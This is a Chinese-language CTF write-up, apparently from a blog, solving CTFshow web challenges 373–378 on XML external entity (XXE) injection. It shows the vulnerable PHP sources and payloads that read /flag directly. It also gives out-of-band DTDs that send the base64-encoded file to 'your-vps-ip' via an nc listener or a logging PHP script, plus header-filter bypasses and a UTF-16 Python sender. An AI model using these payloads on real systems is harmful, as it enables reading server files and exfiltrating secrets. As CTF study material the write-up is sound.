ctfshow-web-xxe

web373

<?php
error_reporting(0);
//不禁止外部实体载入
libxml_disable_entity_loader(false);
//拿POST原始数据,赋值给xmlfile
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    //生成一个Document
    $dom = new DOMDocument();
    // 调用loadXML方法,读取原始的XML数据($xmlfile)。加载xml实体,参数为替代实体、加载外部子集
    //LIBXML_NOENT 是替代实体
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
          // 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。
    $creds = simplexml_import_dom($dom);
          // 通过箭头表达式引用。
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);  

注释来自:jay17师傅

注意:这里POST发包不能用hackbar了,作者解释:

直接写dtd调用file://读取文件

需要注意:

$ctfshow = $creds->ctfshow;:尝试从 XML 结构中获取名为 ctfshow 的元素的值。

echo $ctfshow;:输出 ctfshow 元素的值。

所以我们的结构需要有ctfshow标签

Payload:

<?xml version="1.0"?><!DOCTYPE foo [  <!ENTITY moluSYSTEM"file:///flag">]><creds><ctfshow>&molu;</ctfshow></creds>

web374

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

源码段跟上题差不多,依然可以注入实体,但是没有了echo,也就是这题无回显.

借助vps我们来读取文件,这里有两种方法:一是nc监听端口,从vps监听到的消息中拿到信息;二是在vps上起好

网站,固定开着一个端口,然后像xss章中写日志的方法一样写入一个文件里

解法一:nc监听

Payload:

<!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY % dtd SYSTEM "http://your-vps-ip:6666/evil.dtd">
    %dtd;
    %send;
]>

vps上的evil.dtd文件

<!ENTITY % all"<!ENTITY &#x25; send SYSTEM 'http://your-vps-ip:7777/?data=%file;'>"
>
%all;

nc监听7777端口,文件起在6666端口即可(端口随意)


解法二:vps起网站

首先起一个网站,这里就不挂域名了,记住这里的端口,下面写文件需要的端口都是这一个

下面开始写文件:

pd.dtd

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://your-vps-ip:port/xxe.php?q=%file;'>"
>
%all;

xxe.php

<?php
highlight_file(__FILE__);
$xxe = base64_decode($_GET['q']);
$txt = 'get.$txt';
file_put_contents($txt,$xxe,FILE_APPEND)
?>

Payload:

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-vps-ip:port/pd.dtd">
%dtd;
%send;
] >

web375

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

跟上题一样,都是无回显,但是还多了个正则过滤:<?xml version="1.0",但是,话又说回来,过滤一整个字符串,只需要一点不一样就不会被匹配:双引号换单引号,一个空格变两个空格,甚至可以干脆不写这个xml声明。

Payload:

<!--干脆不写xml头-->
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-vps-ip:port/pd.dtd">
%dtd;
%send;
] >

web376

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

跟上题类似,只不过正则开了i模式,大小写绕不过(意思是上一题也能大小写绕过吗0.o)

Payload:

<!--干脆不写xml头-->
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-vps-ip:port/pd.dtd">
%dtd;
%send;
] >

web377

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

用脚本编个码绕过,直接发包就行:

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

import requests

url = 'http://37e0aa7b-5e69-4566-af67-f951dbff68d3.challenge.ctf.show/'
data = """
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-vps-ip:port/pd.dtd">
%dtd;
%send;
] >
"""

requests.post(url ,data=data.encode('utf-16'))
print("done!")

web378

进去是登录框啊,抓个包看看

发现这个POST传入的就是xml文本,源码里面也有东西

直接加个dtd就能任意读取了

Payload:

<!DOCTYPE ANY [    <!ENTITY moluSYSTEM"file:///flag">]><user><username>&molu;</username><password>1</password></user>

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇